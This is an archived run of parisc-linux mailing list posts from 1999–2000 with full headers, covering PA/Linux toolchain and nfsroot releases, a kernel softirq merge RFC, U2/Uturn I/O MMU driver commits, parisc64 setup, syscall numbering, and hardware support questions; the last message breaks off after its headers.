
Hi palinux'ers,

In building the PA/Linux Developer's Release CD for Linux World Expo, Paul 
Bame and I have packaged up some new bits.

New x86linux -> palinux cross toolchain,
ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20000802.tgz

Apps built using the new toolchain in,
ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/

A small nfsroot containing some basic commands to play with,
ftp://puffin.external.hp.com/pub/parisc/binaries/nfsroot/
	nfsroot-small-20000803.tgz

A big nfsroot containing everything we've built so far. This is what the
root filesystem will be on this release of the PA/Linux Developer's CD(or
close to it)
ftp://puffin.external.hp.com/pub/parisc/binaries/nfsroot/
	nfsroot-20000803.tgz

A small ramdisk containing a limited set the newly compiled apps,
ftp://puffin.external.hp.com/pub/parisc/binaries/ramdisks/ramdisk.bin-20000803

A lifimage using the current CVS kernel bits and the above ramdisk,
ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/Image-20000803

You can also use the above lifimage to boot from other sources(like an 
nfsroot) by,

- Interrupt the boot
- boot from your bootp server adding the "ipl" option
- edit the boot command line (example: nfsroot=192.168.1.10:/tftpboot/nfsroot)

We will be posting the final snapshot of this version(0.1) of the PA/Linux 
Developer's Release CD sometime tommorrow.

Feedback would be greatly apprecicated.

Thanks,

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [kaos@ocs.com.au: [RFC] 2.4.0-test6-pre2 Merge softirq, local_irq_count, local_bh_count]
Date: Fri, 4 Aug 2000 10:26:45 -0400
Lines: 191
Approved: news@gmane.org
Message-ID: <20000804102645.L24940@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619030 2017 80.91.229.3 (22 Nov 2014 01:17:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Fri Aug  4 09:30:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA17002
	for <parisc-linux@puffin.external.hp.com>; Fri, 4 Aug 2000 09:30:03 -0600
Original-Received: (qmail 5799 invoked by uid 15267); 4 Aug 2000 15:32:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5784 invoked from network); 4 Aug 2000 15:32:11 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 4 Aug 2000 15:32:11 -0000
Original-Received: (qmail 19263 invoked from network); 4 Aug 2000 15:31:55 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 4 Aug 2000 15:31:55 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id KAA32544
	for parisc-linux@thepuffingroup.com; Fri, 4 Aug 2000 10:26:45 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7643


we're not merged yet, which is why he didn't cc us.  this patch may
be integrated the next time we get round to merging with Linus' tree
and we should be ready for it.

----- Forwarded message from Keith Owens <kaos@ocs.com.au> -----

Delivered-To: thepuffi-willy@thepuffingroup.com
X-Mailer: exmh version 2.1.1 10/15/1999
From: Keith Owens <kaos@ocs.com.au>
To: linux-arm-kernel@lists.arm.linux.org.uk, linuxppc-dev@lists.linuxppc.org,
        linux-mips@fnet.fr, sparclinux@vger.rutgers.edu,
        ultralinux@vger.rutgers.edu, linux-alpha@vger.rutgers.edu,
        linux-kernel@vger.rutgers.edu, linux-ia64@linuxia64.org,
        linux-vm@vm.marist.edu
Subject: [RFC] 2.4.0-test6-pre2 Merge softirq, local_irq_count, local_bh_count 
Date: 	Fri, 04 Aug 2000 15:46:39 +1000
Precedence: bulk
X-Loop: 	majordomo@vger.rutgers.edu

This patch hits every arch.  It is being cross mailed to every arch
mailing list that has not already confirmed that the patch works.
Please trim replies to the relevant mailing list.

Also please cc: kaos@ocs.com.au on replies, I am not on every list.

---

At the moment (2.4.0-test6-pre2) all architectures have a common
definition for softirq_state, it occupies its own cache line with a lot
of unused padding.  The definitions for local_irq_count and
local_bh_count are all over the place, some architectures use a cache
aligned structure, some use arrays of integers (lets you play cache
ping/pong), some even use atomic_t.

Each arch defines its own set of mapping macros to get to
local_irq_count and local_bh_count.  To add insult to injury, not all
architectures use the mapping macros, there are bits of code scattered
around that use hard coded array lookups which are not optimized for
SMP vs non-SMP.

ftp://ftp.ocs.com.au/pub/2.4.0-test6-pre2-softirq-bh-merge.gz is a
merge of softirq, local_irq_count and local_bh_count into one cache
aligned structure.  The aim was :-

* Put all these fields in a per-cpu cache line.  They are hit by the
  same code paths and are only ever updated from one cpu.  Softirq was
  already cache aligned but the other fields were not, in most cases we
  were using multiple cache lines for this data.  On most archs this
  will save a cache line.  In the worst case we use the same number of
  lines but still get a code cleanup.

* Replace all the explicit references like __local_irq_count[cpu] with
  wrapper macros.  Some arch's had already done this but there was
  quite a bit of crud left.

* Replace multiple arch definitions and export of irq_stat with a
  common one, optimized for SMP or non-SMP.  I know that gcc should do
  this, but proving it will always optimize was too messy so I went for
  the safe case and hand optimized the definitions.  Besides, s390 is
  completely different (the story of my life ;).

* Create a standard definition for the wrappers that can be used by
  almost all architectures.  Only s390 and sparc64 are special cases
  but every arch had its own slightly incompatible definition.

* Add a per-cpu syscall_count, ready for performance reporting on soft
  interrupts as well as hard interrupts.  This field is not being set
  at the moment but will be easy to update once the above patch is
  accepted.

I have updated all architectures, but have only been able to test this
patch on ix86 and IA64.  Could the other arch maintainers try this
patch, it is almost guaranteed to contain some Assembler errors.  If
your arch supports SMP, please try both UP and SMP.

I want to know if the patch works or not on each arch so I can send the
patch to Linus.  So I would appreciate feedback on tests, whether
successful or not.  m68k and super-h have already replied, nobody else
has confirmed one way or the other.

All architectures except s390 and sparc64 use the same definitions, see
include/linux/irq_cpustat.h.  For all but s390, sparc64 and m68k,
please check the Assembler changes, the common code should be fine.

S390    No irq_stat structure, the equivalent fields are stored in
        S390_lowcore.  That moved cpu_data, ipl_device and the SMP info
        area up by 16 bytes.  There was no need for local_bh_count and
        local_irq_count to be atomic.  Please check the changes to
        __LC_ in lowcore.h.  Also the use of lowcore instead of
        irq_stat[NR_CPUS] means that asm-s390/hardirq.h is quite
        different from the other archs, it has its own unique
        definitions for all the wrapper macros.

sparc64 For UP, it uses the common code, local_irq_count is an int in
        irq_stat.  For SMP, local_irq_count is a brlock in cpu_data.
        asm-sparc64/hardirq.h defines a special SMP mapping for
        local_irq_count.

m68k    The change to arch/m68k/atari/ataints.c is a complete guess.
        There were no examples of how to reference SYMBOL+8 from asm in
        atari.

Files patched:

arch/alpha/kernel/alpha_ksyms.c
arch/alpha/kernel/entry.S
arch/alpha/kernel/irq_alpha.c
arch/alpha/kernel/irq_smp.c
arch/alpha/kernel/smp.c
arch/arm/kernel/armksyms.c
arch/arm/kernel/entry-common.S
arch/arm/kernel/irq.c
arch/i386/kernel/entry.S
arch/i386/kernel/i386_ksyms.c
arch/i386/kernel/io_apic.c
arch/i386/kernel/irq.c
arch/i386/kernel/traps.c
arch/ia64/kernel/entry.S
arch/ia64/kernel/ia64_ksyms.c
arch/ia64/kernel/irq.c
arch/m68k/atari/ataints.c
arch/m68k/kernel/entry.S
arch/m68k/kernel/ints.c
arch/m68k/kernel/m68k_ksyms.c
arch/mips/baget/irq.c
arch/mips/dec/irq.c
arch/mips/kernel/entry.S
arch/mips/kernel/irq.c
arch/mips/kernel/mips_ksyms.c
arch/mips/kernel/scall_o32.S
arch/mips/orion/irq.c
arch/mips/sgi/kernel/indy_int.c
arch/mips64/kernel/entry.S
arch/mips64/kernel/scall_64.S
arch/mips64/kernel/scall_o32.S
arch/mips64/sgi-ip22/ip22-int.c
arch/mips64/sgi-ip27/ip27-irq.c
arch/ppc/kernel/entry.S
arch/ppc/kernel/irq.c
arch/ppc/kernel/local_irq.h
arch/ppc/kernel/ppc_ksyms.c
arch/s390/kernel/entry.S
arch/s390/kernel/irq.c
arch/s390/kernel/process.c
arch/s390/kernel/s390io.c
arch/s390/mm/fault.c
arch/sh/kernel/entry.S
arch/sh/kernel/irq.c
arch/sparc/kernel/irq.c
arch/sparc/kernel/rtrap.S
arch/sparc/kernel/sparc_ksyms.c
arch/sparc64/kernel/irq.c
arch/sparc64/kernel/rtrap.S
arch/sparc64/kernel/smp.c
arch/sparc64/kernel/sparc64_ksyms.c
include/asm-alpha/hardirq.h
include/asm-alpha/smp.h
include/asm-alpha/softirq.h
include/asm-arm/hardirq.h
include/asm-i386/hardirq.h
include/asm-ia64/hardirq.h
include/asm-m68k/hardirq.h
include/asm-m68k/softirq.h
include/asm-m68k/system.h
include/asm-mips/hardirq.h
include/asm-mips64/hardirq.h
include/asm-mips64/processor.h
include/asm-mips64/smp.h
include/asm-ppc/hardirq.h
include/asm-ppc/softirq.h
include/asm-s390/hardirq.h
include/asm-s390/irq.h
include/asm-s390/lowcore.h
include/asm-s390/softirq.h
include/asm-sh/hardirq.h
include/asm-sh/softirq.h
include/asm-sparc/hardirq.h
include/asm-sparc/irq.h
include/asm-sparc/softirq.h
include/asm-sparc64/hardirq.h
include/asm-sparc64/smp.h
include/asm-sparc64/softirq.h
include/linux/interrupt.h
include/linux/irq_cpustat.h
kernel/ksyms.c
kernel/sched.c
kernel/softirq.c
net/netsyms.c



From - Thu Nov 08 21:13:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] U2/Uturn support added
Date: Sat, 5 Aug 2000 00:11:13 -0700 (PDT)
Lines: 71
Approved: news@gmane.org
Message-ID: <200008050711.AAA04887@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619030 2018 80.91.229.3 (22 Nov 2014 01:17:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sat Aug  5 01:06:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA08830
	for <parisc-linux@puffin.external.hp.com>; Sat, 5 Aug 2000 01:06:35 -0600
Original-Received: (qmail 31739 invoked by uid 15267); 5 Aug 2000 07:08:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31731 invoked from network); 5 Aug 2000 07:08:41 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 5 Aug 2000 07:08:41 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 76AE051C
	for <parisc-linux@thepuffingroup.com>; Sat,  5 Aug 2000 00:08:39 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id AAA04887
	for parisc-linux@thepuffingroup.com; Sat, 5 Aug 2000 00:11:13 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7644

Hi all,
I just committed two not-yet-but-almost-working "CCIO" drivers
to support U2 and Uturn "I/O Adapters". FOr those not on the
CVS e-mail list, attached is the CVS commit message.

The sort-of-bad news is I can't spend more time on ccio-dma.c.
I've burned a over week already and I'm afraid I won't have enough time
to get other parisc-linux PCI issues resolved that my empoyer cares about.
If someone else (I nominate John D Anglin and Ryan Bradetich ;^) could
take a look at ccio-dma.c, I'd be quite happy to answer (most likely
not) stupid questions...especially since U2/Uturn documentation still
hasn't been published. <sigh>.

In HP speak, IOA's are more than just bus converters and bus bridges.
(And I don't know what the difference between those are either).
The U2/Uturn IOAs provide coherency between DMA/CPU D-cache and perform
physical address translations between a 32-bit <-> 40-bit bus. For
parisc-linux, we require the I/O MMU to provide I/O coherency on
many platforms.  Follow the e-mail thread that started with
http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/03-Mar/0032.html
if you want to learn the underlying requirements.

One exception is Uturn under PCX-W processors. Here, the IOA is only needed
to provide I/O Coherency since PCX-W follows the coherency model defined
someplace that U2/Uturn also implement.  And ccio-rm-dma.c might work as-is.
I just don't have a C360 to test it on. Philipp Rumpf claims his dma-rm.c
(the original file) works on his C360.

And though I explicitly call-out the older C-class models in my
comments, I expect most of this to apply to equivalent K/D/R/J-class
models which have U2/UTurn in them as well.

enjoy!
grant

CVS: ----------------------------------------------------------------------
CVS: Enter Log.  Lines beginning with `CVS:' are removed automatically
CVS: 
CVS: Committing in .
CVS: 
CVS: Modified Files:
CVS: 	arch/parisc/config.in arch/parisc/defconfig 
CVS: 	arch/parisc/kernel/Makefile drivers/gsc/gsc.c 
CVS: Added Files:
CVS: 	arch/parisc/kernel/ccio-dma.c arch/parisc/kernel/ccio-rm-dma.c 
CVS: ----------------------------------------------------------------------
Add two versions of U2/Uturn I/O MMU driver : ccio-dma and ccio-rm-dma.

ccio-dma is intended
a) to work on all platforms w/U2 or Uturn (but doesn't yet.)
   (I think it's very close to working but I have to get away from it
    for a while and get back to PCI support issues)
b) once it is working, provide better DMA performance/bus utilization.
c) to only support 1 IOA.
   (Supporting more than one IOA requires tree structure for PA I/O devices.)
d) allow someone else to play with it and maybe see what's wrong.

ccio-rm-dma:
a) only works under PCX-W (ie C360) platforms (not under PCX-U - C180/200/240)
b) is borrowed from prumpf's linux-parisc
c) provides better CPU utilization since it's not really doing anything.
   (Mostly function call overhead)
d) supports any/all IOAs under UTurn since it doesn't need to know
   anything about the heirarchy of the I/O subsystem.

The "switch" is in the parisc/kernel/Makefile since I was too lazy
to figure out a clean way to pick the "right" one. I was thinking
a runtime check might be the right way but it isn't. It also depends
on load characteristics which aren't visible to the CPU (ie type of
DMA transactions - connected or split).


From - Thu Nov 08 21:13:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] 2.4.0-test6-pre2 Merge softirq, local_irq_count, local_bh_count
Date: Sat, 5 Aug 2000 10:59:58 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20000805105958.T24940@vodka.thepuffingroup.com>
References: <20000804102808.M24940@vodka.thepuffingroup.com> <29149.965463596@ocs3.ocs-net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619030 2022 80.91.229.3 (22 Nov 2014 01:17:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Keith Owens <kaos@ocs.com.au>
Original-X-From: willy@thepuffingroup.com  Sat Aug  5 10:03:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA13039
	for <parisc-linux@puffin.external.hp.com>; Sat, 5 Aug 2000 10:03:14 -0600
Original-Received: (qmail 13354 invoked by uid 15267); 5 Aug 2000 16:05:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13342 invoked from network); 5 Aug 2000 16:05:24 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 5 Aug 2000 16:05:24 -0000
Original-Received: (qmail 18078 invoked from network); 5 Aug 2000 16:05:07 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 5 Aug 2000 16:05:07 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id KAA07091;
	Sat, 5 Aug 2000 10:59:58 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <29149.965463596@ocs3.ocs-net>; from Keith Owens on Sat, Aug 05, 2000 at 06:19:56PM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:7645

On Sat, Aug 05, 2000 at 06:19:56PM +1000, Keith Owens wrote:
> Linus rolled the change into 2.4.0-test6-pre4.  Do you want a hand
> patching parisc?  I would need a copy of include/asm-parisc and
> arch/parisc.

thanks for the offer, but we'll do it ourselves when we do the next
merge of Linus' tree into our own (we're still on 2.3.99pre8).

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: crypt@ihug.co.nz
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] support for the hp 9000/807s
Date: Tue, 8 Aug 2000 00:40:58 +1200
Lines: 17
Approved: news@gmane.org
Message-ID: <20000808004058.C6581@python.localnet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619031 2025 80.91.229.3 (22 Nov 2014 01:17:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:11 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: crypt@ihug.co.nz  Mon Aug  7 06:30:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA31867
	for <parisc-linux@puffin.external.hp.com>; Mon, 7 Aug 2000 06:30:28 -0600
Original-Received: (qmail 4113 invoked by uid 15267); 7 Aug 2000 12:32:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4099 invoked from network); 7 Aug 2000 12:32:40 -0000
Original-Received: from p45-max4.dun.ihug.co.nz (HELO python.localnet) (mail@209.76.100.236)
  by mailserv2.iuinc.com with SMTP; 7 Aug 2000 12:32:40 -0000
Original-Received: from joe by python.localnet with local (Exim 3.12 #1 (Debian))
	for parisc-linux@thepuffingroup.com
	id 13LmDC-0002RQ-00; Tue, 08 Aug 2000 00:40:58 +1200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:7646

Hi I have just aquired an old 807s and was wondering if there is likely
to be any suport for this machine in the near future.

thanks in advance
Joe.

ps. I know that this is a really slow box but it didn't cost me anything
and I expect to have heaps of fun playing with it in some form or other.

-- 
=======================================================================
in real life: Joseph Skinner         |There's no such thing as a wizard
email: crypt@ihug.co.nz              |who minds his own business
       Analyst/Programmer            | - Berengis the Black
                                     |   Court Mage to the Earls Caeline
========================================================================


From - Thu Nov 08 21:13:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] support for the hp 9000/807s
Date: Mon, 7 Aug 2000 12:21:02 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20000807122102.A10538@vodka.thepuffingroup.com>
References: <20000808004058.C6581@python.localnet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619031 2032 80.91.229.3 (22 Nov 2014 01:17:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:11 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: crypt@ihug.co.nz
Original-X-From: willy@thepuffingroup.com  Mon Aug  7 11:24:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA02622
	for <parisc-linux@puffin.external.hp.com>; Mon, 7 Aug 2000 11:24:22 -0600
Original-Received: (qmail 22556 invoked by uid 15267); 7 Aug 2000 17:26:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22540 invoked from network); 7 Aug 2000 17:26:31 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 7 Aug 2000 17:26:31 -0000
Original-Received: (qmail 31677 invoked from network); 7 Aug 2000 17:26:12 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 7 Aug 2000 17:26:12 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id MAA10569;
	Mon, 7 Aug 2000 12:21:02 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000808004058.C6581@python.localnet>; from crypt@ihug.co.nz on Tue, Aug 08, 2000 at 12:40:58AM +1200
Xref: news.gmane.org gmane.linux.ports.parisc:7647

On Tue, Aug 08, 2000 at 12:40:58AM +1200, crypt@ihug.co.nz wrote:
> Hi I have just aquired an old 807s and was wondering if there is likely
> to be any suport for this machine in the near future.

Not in the near future.  It's one of the machines we can support, but
it's full of strange devices which we know nothing about.  Feel free
to try hacking on it yourself, but it's not a machine we're terribly
inteerested in working on.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc64
Date: Tue, 8 Aug 2000 01:53:11 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20000808015311.K10538@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619031 2035 80.91.229.3 (22 Nov 2014 01:17:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:11 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Tue Aug  8 00:56:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA22806
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Aug 2000 00:56:30 -0600
Original-Received: (qmail 17492 invoked by uid 15267); 8 Aug 2000 06:58:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17474 invoked from network); 8 Aug 2000 06:58:43 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 8 Aug 2000 06:58:43 -0000
Original-Received: (qmail 28059 invoked from network); 8 Aug 2000 06:58:20 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 8 Aug 2000 06:58:20 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id BAA17067
	for parisc-linux@thepuffingroup.com; Tue, 8 Aug 2000 01:53:11 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7648


those of you on the cvs list will have noticed parisc64 being committed.
don't get excited.  it's mainly been committed just to get the directory
structure down.  on my c3k, it HPMCs as soon as it tries to do anything
clever (like run C code in virtual mode, say).

most of the files just contain one line, along the lines of:

#include "../../parisc/kernel/setup.c"

whenever anyone hacking on parisc64 comes across something they need to
change, just copy the appropriate file into its place and edit it.  we'll
figure out what really can be shared and what can't at a later date.

(i suspect most of the bus adapter drivers should move into drivers/
for example.  *mumbles something about drivers/gsc/ being a bad name*).

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Thu, 25 Mar 1999 15:12:34 -0500
Organization: mozilla.org diplomatic corps
Lines: 29
Approved: news@gmane.org
Message-ID: <36FA98B2.3B82B92A@netscape.com>
References: <199903251919.LAA01701@cllmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619032 2040 80.91.229.3 (22 Nov 2014 01:17:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:12 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: shaver@netscape.com  Thu Mar 25 15:13:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id PAA27061
	for <hppa-linux@sod.res.cmu.edu>; Thu, 25 Mar 1999 15:13:11 -0500
Original-Received: (qmail 14042 invoked by uid 15267); 25 Mar 1999 20:11:58 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 14035 invoked from network); 25 Mar 1999 20:11:58 -0000
Original-Received: from h-205-217-237-47.netscape.com (HELO netscape.com) (205.217.237.47)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 20:11:58 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id MAA24376
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 12:12:35 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.139]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F962T600.JEP for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar
          1999 12:12:42 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.2-ac3 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7649

Cary Coutant wrote:
> I'd suggest *not* using the same gateway page address as HP-UX. If you
> do, you won't be able to develop a later kernel extension to support
> HP-UX binaries, unless you allocate syscall numbers carefully.

Well, my plan was to do what the MIPS guys have done (and others, like
maybe SPARC?): 
syscall numbers 0 to 200-something are __NR_HP_syscall, and then the
Linux ones start at 1000.  HP-UX binary emulation is something that I
really really want early on, because it will give us a functioning
userland while we're trying to get compiler and linker and glibc ports
complete and working.

But maybe you're right -- maybe we use one gateway page address for
HP-UX compat, and another for native-Linux syscalls.  We have a lot more
flexibility in our system call mechanism than the other platforms did, I
think, so perhaps there's a better way.

It'd be nice to have hpux.o as a module for binary compatibility, when
we get there, but that's probably not so hard.  Ponder...

The checked-in unistd.h has appropriate syscall numbering to support the
current plan, if you'd like to peek.

Mike

-- 
78101.27 70129.77


From - Thu Nov 08 21:13:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simon Teather <simon.teather@barclays.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000/D200 and Linux
Date: Tue, 08 Aug 2000 08:49:28 +0100
Organization: Barclays Bank Plc
Lines: 16
Approved: news@gmane.org
Message-ID: <398FBB88.FCF6F6E@barclays.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619032 2042 80.91.229.3 (22 Nov 2014 01:17:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: simon.teather@barclays.co.uk  Tue Aug  8 01:48:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA23392
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Aug 2000 01:48:53 -0600
Original-Received: (qmail 11524 invoked by uid 15267); 8 Aug 2000 07:51:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11512 invoked from network); 8 Aug 2000 07:51:07 -0000
Original-Received: from mailgate.barclays.co.uk (HELO porthos-dmz.barclays.co.uk) (193.128.3.20)
  by mailserv2.iuinc.com with SMTP; 8 Aug 2000 07:51:07 -0000
